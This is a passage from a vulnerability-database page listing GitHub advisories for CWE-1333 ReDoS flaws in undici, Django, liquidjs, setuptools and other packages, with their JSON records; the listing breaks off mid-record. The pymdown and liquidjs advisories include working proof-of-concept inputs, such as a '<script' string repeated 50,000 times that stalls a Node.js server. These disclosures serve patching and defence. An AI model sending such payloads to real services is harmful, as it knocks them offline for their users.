CWE-1333
AllowedInefficient Regular Expression Complexity
Abstraction: Base · Status: Draft
The product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential.
724 vulnerabilities reference this CWE, most recent first.
GHSA-R5Q6-3GGJ-5G3C
Vulnerability from github – Published: 2024-12-04 12:31 – Updated: 2024-12-04 12:31In JetBrains YouTrack before 2024.3.52635 potential ReDoS was possible due to vulnerable RegExp in Ruby syntax detector
{
"affected": [],
"aliases": [
"CVE-2024-54157"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-04T12:15:20Z",
"severity": "MODERATE"
},
"details": "In JetBrains YouTrack before 2024.3.52635 potential ReDoS was possible due to vulnerable RegExp in Ruby syntax detector",
"id": "GHSA-r5q6-3ggj-5g3c",
"modified": "2024-12-04T12:31:45Z",
"published": "2024-12-04T12:31:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-54157"
},
{
"type": "WEB",
"url": "https://www.jetbrains.com/privacy-security/issues-fixed"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-R67W-F99W-MGXJ
Vulnerability from github – Published: 2024-01-21 18:30 – Updated: 2024-01-22 21:29The JSON loader in Embedchain before 0.1.57 allows a ReDoS (regular expression denial of service) via a long string to json.py.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "embedchain"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.57"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-23732"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2024-01-22T21:29:14Z",
"nvd_published_at": "2024-01-21T17:15:44Z",
"severity": "MODERATE"
},
"details": "The JSON loader in Embedchain before 0.1.57 allows a ReDoS (regular expression denial of service) via a long string to json.py.",
"id": "GHSA-r67w-f99w-mgxj",
"modified": "2024-01-22T21:29:14Z",
"published": "2024-01-21T18:30:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-23732"
},
{
"type": "WEB",
"url": "https://github.com/embedchain/embedchain/pull/1122"
},
{
"type": "WEB",
"url": "https://github.com/embedchain/embedchain/compare/0.1.56...0.1.57"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/embedchain/PYSEC-2024-8.yaml"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "ReDoS in Embedchain"
}
GHSA-R6CH-MQF9-QC9W
Vulnerability from github – Published: 2023-02-16 20:46 – Updated: 2023-02-16 20:46Impact
The Headers.set() and Headers.append() methods are vulnerable to Regular Expression Denial of Service (ReDoS) attacks when untrusted values are passed into the functions. This is due to the inefficient regular expression used to normalize the values in the headerValueNormalize() utility function.
Patches
This vulnerability was patched in v5.19.1.
Workarounds
There is no workaround. Please update to an unaffected version.
References
- https://hackerone.com/bugs?report_id=1784449
Credits
Carter Snook reported this vulnerability.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "undici"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.19.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-24807"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2023-02-16T20:46:10Z",
"nvd_published_at": "2023-02-16T18:15:00Z",
"severity": "HIGH"
},
"details": "### Impact\nThe `Headers.set()` and `Headers.append()` methods are vulnerable to Regular Expression Denial of Service (ReDoS) attacks when untrusted values are passed into the functions. This is due to the inefficient regular expression used to normalize the values in the `headerValueNormalize()` utility function.\n\n### Patches\n\nThis vulnerability was patched in v5.19.1.\n\n### Workarounds\nThere is no workaround. Please update to an unaffected version.\n\n### References\n\n* https://hackerone.com/bugs?report_id=1784449\n\n### Credits\n\nCarter Snook reported this vulnerability.\n",
"id": "GHSA-r6ch-mqf9-qc9w",
"modified": "2023-02-16T20:46:10Z",
"published": "2023-02-16T20:46:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-r6ch-mqf9-qc9w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-24807"
},
{
"type": "WEB",
"url": "https://github.com/nodejs/undici/commit/f2324e549943f0b0937b09fb1c0c16cc7c93abdf"
},
{
"type": "PACKAGE",
"url": "https://github.com/nodejs/undici"
},
{
"type": "WEB",
"url": "https://github.com/nodejs/undici/releases/tag/v5.19.1"
},
{
"type": "WEB",
"url": "https://hackerone.com/bugs?report_id=1784449"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Regular Expression Denial of Service in Headers"
}
GHSA-R6H4-MM7H-8PMQ
Vulnerability from github – Published: 2025-12-16 20:46 – Updated: 2025-12-16 20:46Impact
This issue describes a ReDOS bug found within the figure caption extension (pymdownx.blocks.caption ).
In systems that take unchecked user content, this could cause long hangs when processing the data if a malicious payload was crafted.
Patches
This issue is patched in Release 10.16.1.
Workarounds
Some possible workarounds
If users are concerned about this vulnerability and process unknown user content without timeouts or other safeguards in place to prevent really large, malicious content being aimed at systems, the use of pymdownx.blocks.caption could be avoided until the library is updated to 10.16.1+.
References
The original issue https://github.com/facelessuser/pymdown-extensions/issues/2716.
Description
The original issue came through PyMdown Extensions' normal issue tracker instead of the typical security flow: https://github.com/facelessuser/pymdown-extensions/issues/2716. Because this came through the normal issue flow, it was handled as a normal issue. In the future, PyMdown Extensions will ensure such issues, even if prematurely made public through the normal issue flow, are redirected through the typical security process.
The regular expression pattern in question is as follows:
RE_FIG_NUM = re.compile(r'^(\^)?([1-9][0-9]*(?:.[1-9][0-9]*)*)(?= |$)')
The POC was provided by @ShangzhiXu
import re
import time
regex_pattern = re.compile(r'^(\^)?([1-9][0-9]*(?:.[1-9][0-9]*)*)(?= |$)')
for i in range(50, 500, 50):
long_string = '1' * i + 'a'
start_time = time.time()
match = re.match(regex_pattern, long_string)
end_time = time.time()
print(f"long_string execution time: {end_time - start_time:.6f} s")
The issue with the above pattern is that . was used, which accepts any character when we meant to use \.. The fix was to update the pattern to:
RE_FIG_NUM = re.compile(r'^(\^)?([1-9][0-9]*(?:\.[1-9][0-9]*)*)(?= |$)')
Relevant PR with fix: https://github.com/facelessuser/pymdown-extensions/pull/2717
Version(s) & System Info
- Operating System: Any
- Python Version: Any
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pymdown-extensions"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "10.16.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-68142"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-16T20:46:05Z",
"nvd_published_at": "2025-12-16T18:16:16Z",
"severity": "LOW"
},
"details": "### Impact\n\nThis issue describes a ReDOS bug found within the figure caption extension (`pymdownx.blocks.caption` ).\n\nIn systems that take unchecked user content, this could cause long hangs when processing the data if a malicious payload was crafted.\n\n### Patches\n\nThis issue is patched in Release [10.16.1](https://pypi.org/project/pymdown-extensions/10.16.1/).\n\n### Workarounds\n\nSome possible workarounds\n\nIf users are concerned about this vulnerability and process unknown user content without timeouts or other safeguards in place to prevent really large, malicious content being aimed at systems, the use of `pymdownx.blocks.caption` could be avoided until the library is updated to 10.16.1+.\n\n### References\n\nThe original issue https://github.com/facelessuser/pymdown-extensions/issues/2716.\n\n### Description\n\nThe original issue came through PyMdown Extensions\u0027 normal issue tracker instead of the typical security flow: https://github.com/facelessuser/pymdown-extensions/issues/2716. Because this came through the normal issue flow, it was handled as a normal issue. In the future, PyMdown Extensions will ensure such issues, even if prematurely made public through the normal issue flow, are redirected through the typical security process.\n\nThe regular expression pattern in question is as follows:\n\n```py\nRE_FIG_NUM = re.compile(r\u0027^(\\^)?([1-9][0-9]*(?:.[1-9][0-9]*)*)(?= |$)\u0027)\n```\n\nThe POC was provided by @ShangzhiXu\n\n```py\nimport re\nimport time\n\nregex_pattern = re.compile(r\u0027^(\\^)?([1-9][0-9]*(?:.[1-9][0-9]*)*)(?= |$)\u0027)\n\nfor i in range(50, 500, 50):\n long_string = \u00271\u0027 * i + \u0027a\u0027\n start_time = time.time()\n match = re.match(regex_pattern, long_string)\n end_time = time.time()\n print(f\"long_string execution time: {end_time - start_time:.6f} s\")\n```\n\nThe issue with the above pattern is that `.` was used, which accepts any character when we meant to use `\\.`. The fix was to update the pattern to:\n\n```py\nRE_FIG_NUM = re.compile(r\u0027^(\\^)?([1-9][0-9]*(?:\\.[1-9][0-9]*)*)(?= |$)\u0027)\n```\n\nRelevant PR with fix: https://github.com/facelessuser/pymdown-extensions/pull/2717\n\n### Version(s) \u0026 System Info\n\n- Operating System: Any\n- Python Version: Any",
"id": "GHSA-r6h4-mm7h-8pmq",
"modified": "2025-12-16T20:46:05Z",
"published": "2025-12-16T20:46:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/facelessuser/pymdown-extensions/security/advisories/GHSA-r6h4-mm7h-8pmq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68142"
},
{
"type": "WEB",
"url": "https://github.com/facelessuser/pymdown-extensions/commit/b50d15a56850ed1408a284bba81cc019c6bd72e8"
},
{
"type": "PACKAGE",
"url": "https://github.com/facelessuser/pymdown-extensions"
},
{
"type": "WEB",
"url": "https://pypi.org/project/pymdown-extensions/10.16.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "PyMdown Extensions has a ReDOS bug in its Figure Capture extension"
}
GHSA-R7G9-XPMJ-5FCQ
Vulnerability from github – Published: 2026-05-27 18:08 – Updated: 2026-07-09 21:06Summary
The built-in strip_html filter in liquidjs uses a regex containing four lazy-quantified alternatives. When the input contains many <script, <style, or <!-- opener tokens without matching closers, the V8 regex engine performs O(N²) backtracking, blocking the Node.js event loop. A single ~350 KB request ('<script'.repeat(50000)) stalls the process for ~10 seconds; cost grows quadratically with input size. The default memoryLimit: Infinity does not bound regex CPU, and even when configured strip_html only charges str.length to the limit — the regex itself runs unbounded.
Details
The vulnerable filter is at src/filters/html.ts:45-49:
export function strip_html (this: FilterImpl, v: string) {
const str = stringify(v)
this.context.memoryLimit.use(str.length)
return str.replace(/<script[\s\S]*?<\/script>|<style[\s\S]*?<\/style>|<.*?>|<!--[\s\S]*?-->/g, '')
}
The regex contains four lazy patterns:
1. <script[\s\S]*?<\/script>
2. <style[\s\S]*?<\/style>
3. <.*?>
4. <!--[\s\S]*?-->
For an input like '<script'.repeat(N), the engine encounters N starting < positions. At each one it must lazily expand [\s\S]*? (and .*?) all the way to end-of-input searching for a closer that never appears, then fail and backtrack. Because each of the O(N) starts performs O(N) lazy-expansion work, total work is O(N²).
Reachability:
1. strip_html is a default-registered filter (exported from src/filters/html.ts, wired up via src/filters/index.ts), invocable from any template via {{ x | strip_html }}.
2. The filter calls String.prototype.replace with the vulnerable regex directly on the caller-supplied string, with no length cap and no timeout.
3. The default memoryLimit is Infinity (src/liquid-options.ts:198); the filter only charges str.length against memory (line 47), which does not bound CPU work for regex backtracking.
This is distinct from GHSA-45rm-2893-5f49 (prototype property leak, CWE-200) and from any prior replace/strip_html issues — the mechanism here is regex backtracking CPU consumption on a different filter.
PoC
Empirical scaling confirmed against a freshly built liquidjs@10.25.7 bundle on Node 22 / Linux:
node -e "
const { Liquid } = require('liquidjs');
const e = new Liquid();
(async () => {
for (const n of [1000, 2000, 4000, 8000, 16000]) {
const payload = '<script'.repeat(n);
const t0 = Date.now();
await e.parseAndRender('{{ x | strip_html }}', { x: payload });
console.log('n=' + n + ' inputLen=' + payload.length + ' ms=' + (Date.now() - t0));
}
})();
"
Verified output:
n=1000 inputLen=7000 ms=5
n=2000 inputLen=14000 ms=12 (2.4x for 2x size)
n=4000 inputLen=28000 ms=46 (3.8x for 2x size)
n=8000 inputLen=56000 ms=187 (4.0x for 2x size)
n=16000 inputLen=112000 ms=737 (3.9x for 2x size)
A larger payload extrapolates straightforwardly:
node -e "
const { Liquid } = require('liquidjs');
const e = new Liquid();
(async () => {
const payload = '<script'.repeat(50000); // 350 KB
const t0 = Date.now();
await e.parseAndRender('{{ x | strip_html }}', { x: payload });
console.log('elapsed ms:', Date.now() - t0);
})();
"
# elapsed ms: ~10000+ (Node single-threaded event loop fully blocked)
The same pathology applies to <style and <!-- openers.
Impact
- Single-request DoS: A 350 KB request body stalls the Node.js event loop for ~10 seconds; 700 KB takes ~40 s; 1.4 MB takes ~160 s. All other requests on the process queue behind the regex.
- Trivial amplification: Quadratic scaling means small attacker bandwidth produces large server CPU consumption. A handful of concurrent requests fully saturates the worker.
- No authentication required: The typical use case for
strip_htmlis sanitizing untrusted input (comments, posts, profile bios, product descriptions). Any endpoint that renders user content throughstrip_htmlis exposed. - memoryLimit doesn't help: Even applications that opt into
memoryLimitare not protected, because (a) the regex CPU runs to completion before any output is produced, and (b) onlystr.lengthis charged, not the cost of the regex traversal.
Recommended Fix
Replace the backtracking regex with an atomic / non-overlapping pattern, and/or perform a single linear pass.
Option 1 — anchor each alternative so lazy expansion fails fast on chunked content (no [\s\S]*? over the full tail):
return str.replace(
/<script\b[^<]*(?:<(?!\/script>)[^<]*)*<\/script>|<style\b[^<]*(?:<(?!\/style>)[^<]*)*<\/style>|<!--[^-]*(?:-(?!->)[^-]*)*-->|<[^>]*>/g,
''
)
This unrolls each lazy quantifier so each < is visited at most a constant number of times overall — linear total work.
Option 2 — single-pass tokenizer in plain code; iterate over the string once, tracking whether you are inside <script>, <style>, comment, or generic tag, and emit nothing for those ranges.
Either fix should be combined with charging the regex output cost honestly to memoryLimit and (defensively) capping input length up front:
export function strip_html (this: FilterImpl, v: string) {
const str = stringify(v)
this.context.memoryLimit.use(str.length)
// ... linear-time strip implementation here
}
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "liquidjs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "10.26.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45617"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-27T18:08:19Z",
"nvd_published_at": "2026-06-17T23:17:04Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe built-in `strip_html` filter in liquidjs uses a regex containing four lazy-quantified alternatives. When the input contains many `\u003cscript`, `\u003cstyle`, or `\u003c!--` opener tokens without matching closers, the V8 regex engine performs O(N\u00b2) backtracking, blocking the Node.js event loop. A single ~350 KB request (`\u0027\u003cscript\u0027.repeat(50000)`) stalls the process for ~10 seconds; cost grows quadratically with input size. The default `memoryLimit: Infinity` does not bound regex CPU, and even when configured `strip_html` only charges `str.length` to the limit \u2014 the regex itself runs unbounded.\n\n## Details\n\nThe vulnerable filter is at `src/filters/html.ts:45-49`:\n\n```ts\nexport function strip_html (this: FilterImpl, v: string) {\n const str = stringify(v)\n this.context.memoryLimit.use(str.length)\n return str.replace(/\u003cscript[\\s\\S]*?\u003c\\/script\u003e|\u003cstyle[\\s\\S]*?\u003c\\/style\u003e|\u003c.*?\u003e|\u003c!--[\\s\\S]*?--\u003e/g, \u0027\u0027)\n}\n```\n\nThe regex contains four lazy patterns:\n1. `\u003cscript[\\s\\S]*?\u003c\\/script\u003e`\n2. `\u003cstyle[\\s\\S]*?\u003c\\/style\u003e`\n3. `\u003c.*?\u003e`\n4. `\u003c!--[\\s\\S]*?--\u003e`\n\nFor an input like `\u0027\u003cscript\u0027.repeat(N)`, the engine encounters N starting `\u003c` positions. At each one it must lazily expand `[\\s\\S]*?` (and `.*?`) all the way to end-of-input searching for a closer that never appears, then fail and backtrack. Because each of the O(N) starts performs O(N) lazy-expansion work, total work is O(N\u00b2).\n\nReachability:\n1. `strip_html` is a default-registered filter (exported from `src/filters/html.ts`, wired up via `src/filters/index.ts`), invocable from any template via `{{ x | strip_html }}`.\n2. The filter calls `String.prototype.replace` with the vulnerable regex directly on the caller-supplied string, with no length cap and no timeout.\n3. The default `memoryLimit` is `Infinity` (`src/liquid-options.ts:198`); the filter only charges `str.length` against memory (line 47), which does not bound CPU work for regex backtracking.\n\nThis is distinct from `GHSA-45rm-2893-5f49` (prototype property leak, CWE-200) and from any prior `replace`/`strip_html` issues \u2014 the mechanism here is regex backtracking CPU consumption on a different filter.\n\n## PoC\n\nEmpirical scaling confirmed against a freshly built `liquidjs@10.25.7` bundle on Node 22 / Linux:\n\n```bash\nnode -e \"\nconst { Liquid } = require(\u0027liquidjs\u0027);\nconst e = new Liquid();\n(async () =\u003e {\n for (const n of [1000, 2000, 4000, 8000, 16000]) {\n const payload = \u0027\u003cscript\u0027.repeat(n);\n const t0 = Date.now();\n await e.parseAndRender(\u0027{{ x | strip_html }}\u0027, { x: payload });\n console.log(\u0027n=\u0027 + n + \u0027 inputLen=\u0027 + payload.length + \u0027 ms=\u0027 + (Date.now() - t0));\n }\n})();\n\"\n```\n\nVerified output:\n```\nn=1000 inputLen=7000 ms=5\nn=2000 inputLen=14000 ms=12 (2.4x for 2x size)\nn=4000 inputLen=28000 ms=46 (3.8x for 2x size)\nn=8000 inputLen=56000 ms=187 (4.0x for 2x size)\nn=16000 inputLen=112000 ms=737 (3.9x for 2x size)\n```\n\nA larger payload extrapolates straightforwardly:\n```bash\nnode -e \"\nconst { Liquid } = require(\u0027liquidjs\u0027);\nconst e = new Liquid();\n(async () =\u003e {\n const payload = \u0027\u003cscript\u0027.repeat(50000); // 350 KB\n const t0 = Date.now();\n await e.parseAndRender(\u0027{{ x | strip_html }}\u0027, { x: payload });\n console.log(\u0027elapsed ms:\u0027, Date.now() - t0);\n})();\n\"\n# elapsed ms: ~10000+ (Node single-threaded event loop fully blocked)\n```\n\nThe same pathology applies to `\u003cstyle` and `\u003c!--` openers.\n\n## Impact\n\n- **Single-request DoS:** A 350 KB request body stalls the Node.js event loop for ~10 seconds; 700 KB takes ~40 s; 1.4 MB takes ~160 s. All other requests on the process queue behind the regex.\n- **Trivial amplification:** Quadratic scaling means small attacker bandwidth produces large server CPU consumption. A handful of concurrent requests fully saturates the worker.\n- **No authentication required:** The typical use case for `strip_html` is sanitizing untrusted input (comments, posts, profile bios, product descriptions). Any endpoint that renders user content through `strip_html` is exposed.\n- **memoryLimit doesn\u0027t help:** Even applications that opt into `memoryLimit` are not protected, because (a) the regex CPU runs to completion before any output is produced, and (b) only `str.length` is charged, not the cost of the regex traversal.\n\n## Recommended Fix\n\nReplace the backtracking regex with an atomic / non-overlapping pattern, and/or perform a single linear pass.\n\nOption 1 \u2014 anchor each alternative so lazy expansion fails fast on chunked content (no `[\\s\\S]*?` over the full tail):\n```ts\nreturn str.replace(\n /\u003cscript\\b[^\u003c]*(?:\u003c(?!\\/script\u003e)[^\u003c]*)*\u003c\\/script\u003e|\u003cstyle\\b[^\u003c]*(?:\u003c(?!\\/style\u003e)[^\u003c]*)*\u003c\\/style\u003e|\u003c!--[^-]*(?:-(?!-\u003e)[^-]*)*--\u003e|\u003c[^\u003e]*\u003e/g,\n \u0027\u0027\n)\n```\nThis unrolls each lazy quantifier so each `\u003c` is visited at most a constant number of times overall \u2014 linear total work.\n\nOption 2 \u2014 single-pass tokenizer in plain code; iterate over the string once, tracking whether you are inside `\u003cscript\u003e`, `\u003cstyle\u003e`, comment, or generic tag, and emit nothing for those ranges.\n\nEither fix should be combined with charging the regex output cost honestly to `memoryLimit` and (defensively) capping input length up front:\n```ts\nexport function strip_html (this: FilterImpl, v: string) {\n const str = stringify(v)\n this.context.memoryLimit.use(str.length)\n // ... linear-time strip implementation here\n}\n```",
"id": "GHSA-r7g9-xpmj-5fcq",
"modified": "2026-07-09T21:06:36Z",
"published": "2026-05-27T18:08:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/harttle/liquidjs/security/advisories/GHSA-r7g9-xpmj-5fcq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45617"
},
{
"type": "WEB",
"url": "https://github.com/harttle/liquidjs/commit/3616a744b9abeb425c217b340a2397d46176afb8"
},
{
"type": "PACKAGE",
"url": "https://github.com/harttle/liquidjs"
},
{
"type": "WEB",
"url": "https://github.com/harttle/liquidjs/releases/tag/v10.26.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "LiquidJS Vulnerable to ReDoS via Quadratic Backtracking in `strip_html` Filter Regex"
}
GHSA-R836-HH6V-RG5G
Vulnerability from github – Published: 2024-08-07 15:30 – Updated: 2025-11-04 19:51An issue was discovered in Django 5.0 before 5.0.8 and 4.2 before 4.2.15. The urlize and urlizetrunc template filters, and the AdminURLFieldWidget widget, are subject to a potential denial-of-service attack via certain inputs with a very large number of Unicode characters.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "Django"
},
"ranges": [
{
"events": [
{
"introduced": "5.0"
},
{
"fixed": "5.0.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "Django"
},
"ranges": [
{
"events": [
{
"introduced": "4.2"
},
{
"fixed": "4.2.15"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-41991"
],
"database_specific": {
"cwe_ids": [
"CWE-1284",
"CWE-130",
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2024-08-07T19:03:05Z",
"nvd_published_at": "2024-08-07T15:15:56Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in Django 5.0 before 5.0.8 and 4.2 before 4.2.15. The urlize and urlizetrunc template filters, and the AdminURLFieldWidget widget, are subject to a potential denial-of-service attack via certain inputs with a very large number of Unicode characters.",
"id": "GHSA-r836-hh6v-rg5g",
"modified": "2025-11-04T19:51:04Z",
"published": "2024-08-07T15:30:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-41991"
},
{
"type": "WEB",
"url": "https://github.com/django/django/commit/523da8771bce321023f490f70d71a9e973ddc927"
},
{
"type": "WEB",
"url": "https://github.com/django/django/commit/efea1ef7e2190e3f77ca0651b5458297bc0f6a9f"
},
{
"type": "WEB",
"url": "https://docs.djangoproject.com/en/dev/releases/security"
},
{
"type": "PACKAGE",
"url": "https://github.com/django/django"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/django/PYSEC-2024-69.yaml"
},
{
"type": "WEB",
"url": "https://groups.google.com/forum/#%21forum/django-announce"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20240905-0007"
},
{
"type": "WEB",
"url": "https://www.djangoproject.com/weblog/2024/aug/06/security-releases"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Django vulnerable to denial-of-service attack"
}
GHSA-R8WQ-QRXC-HMCM
Vulnerability from github – Published: 2021-11-29 17:58 – Updated: 2021-11-26 18:26https://github.com/python-ldap/python-ldap/issues/424
Impact
The LDAP schema parser of python-ldap 3.3.1 and earlier are vulnerable to a regular expression denial-of-service attack. The issue affects clients that use ldap.schema package to parse LDAP schema definitions from an untrusted source.
Patches
The upcoming release of python-ldap 3.4.0 will contain a workaround to prevent ReDoS attacks. The schema parser refuses schema definitions with an excessive amount of backslashes.
Workarounds
As a workaround, users can check input for excessive amount of backslashes in schemas. More than a dozen backslashes per line are atypical.
References
For more information
If you have any questions or comments about this advisory: * Open an issue in python-ldap tracker
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "python-ldap"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2021-11-26T18:26:27Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "https://github.com/python-ldap/python-ldap/issues/424\n\n### Impact\nThe LDAP schema parser of python-ldap 3.3.1 and earlier are vulnerable to a regular expression denial-of-service attack. The issue affects clients that use ``ldap.schema`` package to parse LDAP schema definitions from an untrusted source.\n\n### Patches\nThe upcoming release of python-ldap 3.4.0 will contain a workaround to prevent ReDoS attacks. The schema parser refuses schema definitions with an excessive amount of backslashes.\n\n### Workarounds\nAs a workaround, users can check input for excessive amount of backslashes in schemas. More than a dozen backslashes per line are atypical.\n\n### References\n[CWE-1333](https://cwe.mitre.org/data/definitions/1333.html)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [python-ldap](https://github.com/python-ldap/python-ldap) tracker\n",
"id": "GHSA-r8wq-qrxc-hmcm",
"modified": "2021-11-26T18:26:27Z",
"published": "2021-11-29T17:58:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/python-ldap/python-ldap/security/advisories/GHSA-r8wq-qrxc-hmcm"
},
{
"type": "WEB",
"url": "https://github.com/python-ldap/python-ldap/issues/424"
},
{
"type": "PACKAGE",
"url": "https://github.com/python-ldap/python-ldap"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "ReDoS in LDAP schema parser"
}
GHSA-R9HX-VWMV-Q579
Vulnerability from github – Published: 2022-12-23 00:30 – Updated: 2025-11-04 19:37Python Packaging Authority (PyPA)'s setuptools is a library designed to facilitate packaging Python projects. Setuptools version 65.5.0 and earlier could allow remote attackers to cause a denial of service by fetching malicious HTML from a PyPI package or custom PackageIndex page due to a vulnerable Regular Expression in package_index. This has been patched in version 65.5.1.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "setuptools"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "65.5.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-40897"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2022-12-27T14:51:05Z",
"nvd_published_at": "2022-12-23T00:15:00Z",
"severity": "HIGH"
},
"details": "Python Packaging Authority (PyPA)\u0027s setuptools is a library designed to facilitate packaging Python projects. Setuptools version 65.5.0 and earlier could allow remote attackers to cause a denial of service by fetching malicious HTML from a PyPI package or custom PackageIndex page due to a vulnerable Regular Expression in `package_index`. This has been patched in version 65.5.1.",
"id": "GHSA-r9hx-vwmv-q579",
"modified": "2025-11-04T19:37:00Z",
"published": "2022-12-23T00:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-40897"
},
{
"type": "WEB",
"url": "https://github.com/pypa/setuptools/issues/3659"
},
{
"type": "WEB",
"url": "https://github.com/pypa/setuptools/commit/43a9c9bfa6aa626ec2a22540bea28d2ca77964be"
},
{
"type": "WEB",
"url": "https://setuptools.pypa.io/en/latest"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20240621-0006"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20230214-0001"
},
{
"type": "WEB",
"url": "https://pyup.io/vulnerabilities/CVE-2022-40897/52495"
},
{
"type": "WEB",
"url": "https://pyup.io/posts/pyup-discovers-redos-vulnerabilities-in-top-python-packages"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/YNA2BAH2ACBZ4TVJZKFLCR7L23BG5C3H"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ADES3NLOE5QJKBLGNZNI2RGVOSQXA37R"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/YNA2BAH2ACBZ4TVJZKFLCR7L23BG5C3H"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ADES3NLOE5QJKBLGNZNI2RGVOSQXA37R"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/09/msg00018.html"
},
{
"type": "WEB",
"url": "https://github.com/pypa/setuptools/compare/v65.5.0...v65.5.1"
},
{
"type": "WEB",
"url": "https://github.com/pypa/setuptools/blob/fe8a98e696241487ba6ac9f91faa38ade939ec5d/setuptools/package_index.py#L200"
},
{
"type": "PACKAGE",
"url": "https://github.com/pypa/setuptools"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/setuptools/PYSEC-2022-43012.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
